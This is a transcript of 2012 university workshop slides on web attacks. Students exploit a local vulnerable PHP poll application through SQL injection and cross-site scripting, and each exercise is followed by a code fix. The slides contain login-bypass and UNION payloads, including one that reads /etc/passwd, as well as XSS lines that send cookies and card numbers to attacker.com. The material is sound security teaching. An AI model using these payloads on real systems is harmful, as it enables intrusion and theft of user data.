sql injection, cross-site-scripting - sonntag.cc fileresult: you are logged in as “anna” — how...

28
Christian Praher, Florian König, Michael Sonntag Institute for Information processing and microprocessor technology (FIM) Johannes Kepler University Linz, Austria {praher, koenig, sonntag}@fim.uni-linz.ac.at Web attacks SQL Injection, Cross-Site-Scripting 1

Upload: others

Post on 16-Oct-2019

2 views

Category:

Documents


0 download

TRANSCRIPT

Christian Praher, Florian König, Michael SonntagInstitute for Information processing and

microprocessor technology (FIM)Johannes Kepler University Linz, Austria

{praher, koenig, sonntag}@fim.uni-linz.ac.at

Web attacks SQL Injection, Cross-Site-Scripting

1

Web attacks, © 2012 2

Scenario

Investigating an image of a Linux system (Debian) –

Live CD

Note: You must manually add the ISO-image to the virtual machine!

No login required –

automatically boots to a desktop

MySql

password: "jku"

It contains a webserver with two applications

A small website based on scripts (the “Acme Corp.”)

http://localhost/security_workshop/beispiele/bsp1/index.php

No real interactivity, but still some security problems!

A small poll application: Which things do you like (“Daily Poll”)

http://localhost/security_workshop/beispiele/bsp2-3/index.php

Registered users can submit comments

Both applications are written in PHP

You can directly modify the code (overlay file system!) and observe the results

Source: /home/user/Desktop/WWW-Beispiele/ ………….

Web attacks, © 2012 3

SQL Injections

http://xkcd.com/327/

Web attacks, © 2012 4

Basics

SQL Injection: Injecting SQL -

or other executable database commands –

by

exploiting existing SQL-command in an application

Typically in web applications (but works the same in all kinds of software!)

Attack potential/probability is extremely high

First place of the OWASP (Open Web Application Security Project)

Top 10

Application Security Risks (Version 2010)

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Second place of the CWE/SANS (Common Weakness Enumeration/SysAdmin,

Audit, Network, Security) Top 25 of most dangerous software errors (Version 2010)

http://www.sans.org/top25-software-errors/

Web attacks, © 2012 5

Potential results

The damage potential of SQL injections varies and depends on both the

importance of the database affected as well as the data it contains

Deleting all data (Denial of Service -

DoS)

Retrieving sensitive data

Login data: usernames, hashed (?) passwords

Financial information: credit card numbers (+name/expiry date), account

numbers, logins (e.g. paypal)

Modifying existing data (resetting password) or adding new one (e.g. new account)

Bypassing access control (login)

Taking over the whole machine through accessing password files, executing OS

commands as the DB user, …

Web attacks, © 2012 6

How an attack works

DBDB$id = getInput()$id = getInput()

SELECT * FROM user WHERE id = $id

SELECT * FROM user WHERE id = $id

Exploit code

Manipulated SQL query

Valuable data

“Data leak”

Web attacks, © 2012 7

Practical example 1 -

Task

Exploit of an SQL vulnerability in the exemplary application to circumvent the

access control system requiring user authentication

With this attack it should be possible to logon to the system without a valid

username or password

You don’t even know a valid username

You don’t know any password

But you can still logon as “some”

user

We won’t know which user we are going to be in advance, but we can find

out

later and perhaps then try to log in as a special (=admin/root/…) user!

Try it!

http://localhost/security_workshop/beispiele/bsp2-3/index.php

http://localhost/phpmyadmin

Web attacks, © 2012 8

Practical example 1 -

Help

SQL is a query language working on sets of data through relational algebra

An OR operation with the value “true”

as argument in the WHERE clause will

always render the whole WHERE to return true, i.e. useless (A v True = True)

In MySQL

you can add such an “or true”

by adding OR 1=1 to the statement

Please note: The password field must be filled in

Or we can’t submit the form/it will be rejected –

The programmer did at least

something correctly…

Syntax is important: Don’t forget to add a “space”

character at the end

Comment syntax is “--˽“

and not “--”!

Web attacks, © 2012 9

Practical example 1 -

Solution

Write “´

or true -- “

into the username field

Write any text (at least one character) into the password field

Click on submit

Result: You are logged in as “anna”

How do you find out? Just post a comment!

Try the same by reversing the content (random username, hack in pwd

field)

Why does it work too?

See operator precedence (AND is "stronger")!

So try logging in as a specific user, e.g. paul

Insert the correct username and add "'; –

"; use any password (e.g. "paul'; --

")

Why can we not do something in the password field?

Web attacks, © 2012 10

Practical example 1 -

Problem

The relevant source code is in “internal/session.php”

The function “authenticate”, which receives the entered username and password

unmodified and directly

Original SQL command:

$query = "SELECT id,login FROM user WHERE login='".$login."'

AND password='".$password."'";

Version one: $query = "SELECT id,login FROM user WHERE login=''

or true -- ' AND password='yxc'";

Version two: $query = "SELECT id,login FROM user WHERE login='yxc'

AND password='' or true -- '";

Version three: $query = "SELECT id,login FROM user WHERE

login='paul'; -- ' AND password='yxc'";

Web attacks, © 2012 11

Practical example 1 –

Repairing the code

Use a prepared statement instead— $stmt=$conn->prepare("SELECT id,login,password FROM user WHERE

login=? AND password=?");

$stmt->bind_param("ss",$login,$password);

$stmt->execute();

$stmt->bind_result($user_id,$user_login,$user_password);

$stmt->fetch();

if($user_login==$login && $user_password==$password) {

Note:

The SQL query is exactly the same

We specify the two parameters to be strings

We compare the retrieved result to make sure it exists and is the same

Theoretically checking that exactly 1 result is returned would be enough!

Web attacks, © 2012 12

SELECT id, name FROM article WHERE id = 15

ORDER BY 1

ORDER BY 2

ODER BY n•

Getting the "interesting elements" to be at the top•

Increasing till an error occurs Number of columns in this query ( UNION!)—

UNION SELECT 1, user()•

Retrieving the current user—

UNION SELECT id, password FROM user•

Retrieve some data (password) from the DB—

UNION SELECT 1, load_file('/etc/passwd')•

Retrieving an external file•

Anything the DB user may access and where we know the path+filename!—

; UPDATE article SET price = 5 WHERE id = 15•

Change the content—

; INSERT INTO user VALUES (99, 'foo', 'bar')•

Add some content

Popular SQL injection exploits

Web attacks, © 2012 13

Practical example 2 -

Task

Exploit of an SQL vulnerability in the exemplary application to access data from

unrelated other tables and showing it

The access control may be circumvented by misusing the tag search for polls to

show the content of the table “user”

(columns: login, password) instead of the

polls from their table

http://localhost/security_workshop/beispiele/bsp2-3/index.php

http://localhost/phpmyadmin

Web attacks, © 2012 14

Practical example 2 -

Help

It is not possible to execute multiple SQL statements after each

other through

mysql_query() in PHP anymore

I.e. mysql_query(“sql1;sql2;…;sqlN”) was possible in earlier versions, but

not any longer (obvious security problem and probably never really useful!)

BUT: SQL supports the UNION operator, which creates the combinations of

SELECT queries by concatenating the results

Prerequisite: The sets of SELECT results to combine need

to have the same number

of columns (=count)!

Note: The column names are irrelevant!

E.g.: SELECT t1.col1, t1.col2 FROM t1

UNION

SELECT t2.col1, t2.col2 FROM t2

col1 col2Table1

col3 col4Table2

UNIONcol2col1

Web attacks, © 2012 15

Practical example 2 -

Solution

Enter into the search field for polls "'

UNION SELECT id,login FROM

user; -- "

Attention: The column names of both queries may differ, but you must supply

exactly two (valid) column names –

"*" does not work!

Note: the output may be a bit strange and it may be necessary to

inspect the

HTML source code to really see the result!

Here: We don't see the id, but we can repeat it several times with different columns!

But: Where do we know “user”

from, i.e. the table and column names?

Guess it!

Table: "user"

Columns: "id", "login", "password"

Some error messages might betray it

Web attacks, © 2012 16

Practical example 2 –

Problem

The relevant source code is in “internal/functions.php”

The function “getPollsByTag”

receives the search text unmodified and directly

Original SQL command:

SELECT p.id,p.question FROM poll p,tag t WHERE p.id=t.poll_id

AND t.name='".$tag."'"

Erroneous versions:

SELECT p.id,p.question FROM poll p,tag t WHERE p.id=t.poll_id

AND t.name='' UNION SELECT id,login FROM user; -- '"

SELECT p.id,p.question FROM poll p,tag t WHERE p.id=t.poll_id

AND t.name='' UNION SELECT id,password FROM user; -- '"

Result: Only the user table is shown (as no poll without a name exists)

The poll name is the username (or password)

Web attacks, © 2012 17

Practical example 2 –

Repairing the code

Similar to the login page: Use a prepared statement— $stmt=$conn->prepare("SELECT p.id,p.question FROM poll p,

tag t WHERE p.id=t.poll_id AND t.name=?");

$stmt->bind_param("s",$tag);

$stmt->execute();

$stmt->bind_results($id,$question);

while($stmt->fetch()) {

$polls[]=array("id=>$id,"question"=>$question);

}

Change the code and try it again: What do you see?

The complete string is searched for

And echoed to the result page …

Web attacks, © 2012 18

Cross-Site-Scripting (XSS)

Very dangerous (and common) attack

Most dangerous vulnerability according to CWE/SANS list 2010

Who had such a problem?

Facebook, Google, YouTube, MySpace, Yahoo, Twitter, Visa, McAfee, Symantec,

Amazon, eBay, PayPal, Sony, NVIDIA, MIT, NASA, ...

You're in good company

(see also: http://xssed.com/) !

Attack: Inject "evil code" and get others to execute it

Target: Client (Webbrowser)

Transmission:

Commonly by the web server of the vulnerable site

Also possible by Mail, Webpages, …

through links on them

Web attacks, © 2012 19

How an attack works

$value = getData()$value = getData()

HTML

. . .

$value

HTML

. . .

$value

Web server Browser

Exploit code

HTML

. . .

Exploit code

HTML

. . .

Exploit code

Attacker

Web attacks, © 2012 20

Practical example 3

Use them same website as before (Poll application)

Where does it accept user input?

Form fields, parameters, cookies, …

How is this data transmitted to the server (HTTP method)?

GET, POST, (…)

How is this data sent (back) to the user?

Attribute value, tag name, textual content: Error messages and result pages

Stored in database?

What data is visible only to the current used?

What data is visible to all users?

Web attacks, © 2012 21

Practical example 3

Exploit of an SQL vulnerability in the exemplary application to insert data into a

table, bypassing any checks

Try to add some javascript

code to the comments, so it will be executed every

time the page (including this comment) is shown

This would be a "Stored XSS" attack!

Try to construct a link, which –

when clicked on –

will "attack" the user

This would be a "Reflected XSS" attack!

Hint/Example: Use <script>alert('Hacked!');</script> as malware

http://localhost/security_workshop/beispiele/bsp2-3/index.php

http://localhost/phpmyadmin

Web attacks, © 2012 22

Practical example 3 -

Help

First you have to login (somehow ), then you can post comments

Go to the poll page and enter a comment: It will be stored in the database

Investigate how this text is actually showed on the webpage

Now try to enter a "strange" comment, taking care of this formatting

Reload the page, go to another page and return, logout & return,

Why is it possible?

Because you can enter text –

any text –

as long as the application doesn't "correct" this

Result: What you enter is printed, regardless of its meaning

Normally it should be data, but we might also enter some "code"!

A bit different from SQL injection, but still an injection attack!

Note: This is an even more dangerous one, as it is "permanent" (stored in the

database) and affects everyone (whoever visits the webpage)!

Web attacks, © 2012 23

Practical example 3 -

Solution

Enter "<script>alert('Hacked!');</script>" in the comment box

Note: No special quotes, double quotes etc. are needed!

This will be shown every time someone visits this page (or is shown this poll)

Regardless of logged in, where he is coming etc.!

This is called a stored "Cross –Site Scripting" attack, or XSS

Why is it possible?

Input sanitation is missing! Exactly the same as with SQL injection, what is entered is

not checked enough

Web attacks, © 2012 24

Practical example 3 -

Solution

Create a link with the end

"search.php?tag=<script>alert("Hacked!");</script>"

Note: Encoding not needed here, but usually necessary (e.g. spaces)!

For easy testing you can just type it into the browser address bar; you don't need to

create a shortcut or a custom web page for this link!

The code will be part of the error message ("no poll found")

Regardless of logged in, where he is coming etc.!

BUT: You must get the user to click on the link (SPAM, …)

Why is it possible?

Input sanitation is missing! Exactly the same as with SQL injection, what is entered is

not checked enough

Web attacks, © 2012 25

Practical example 3 –

Other things to try

Steal the cookiedocument.location="http://attacker.com/steal.php?c=" +

document.cookie; document.location="http://www.targetsite.com"

Intermediate target: Show the cookie— alert(document.cookie);

Steal credit card numberdocument.location="http://attacker.com/steal.php?n=" +

document.forms[1].elements["cc_number"].value

Better hidden:

Create a new image element (invisible, 1x1 px), and specify the URL as above as the

source of the image

You won't get an image back, but the data is sent to the attacking host!

Web attacks, © 2012 26

Practical example 3 –

Repairing the code

Attention: Using a prepared statement will not help here!

We are attacking not on the level of SQL!

With a prepared statement, exactly the same ("illegal") text is still stored and printed

to the output upon rendering the page

Problem: internal/render-polls.php— <?php echo utf8_encode($comment['text']); ?>

UTF8-encoding only makes sure that special characters are sent correctly (e.g. 'ä')

But nothing else is changed!

Corrected version:— utf8_encode(filter_var($comment['text'],FILTER_SANITIZE_STRING);

This function will filter out various things, depending on the second parameter

Here: Strips tags and removes or encodes unwanted characters

Note: Various other methods/functions exist for correction this problem!

E.g. if you don't want to remove, but only encode them

Web attacks, © 2012 27

Practical example 3 –

Repairing the code

Other options: Investigate the following functions— str_replace(searchArray, replaceArray, data)

— htmlspecialchars(data)

— htmlentities(data)

— filter_var(data, FILTER_SANITIZE_STRING)

Attention! These solutions work only for direct HTML!

They are insufficient for other contexts and not generalizable!

Especially problematic, if you want to allow certain HTML tags

Christian Praher, Florian König, Michael SonntagInstitute for Information processing and

microprocessor technology (FIM)Johannes Kepler University Linz, Austria

{praher, koenig, sonntag}@fim.uni-linz.ac.at

Thank you for your attention!

28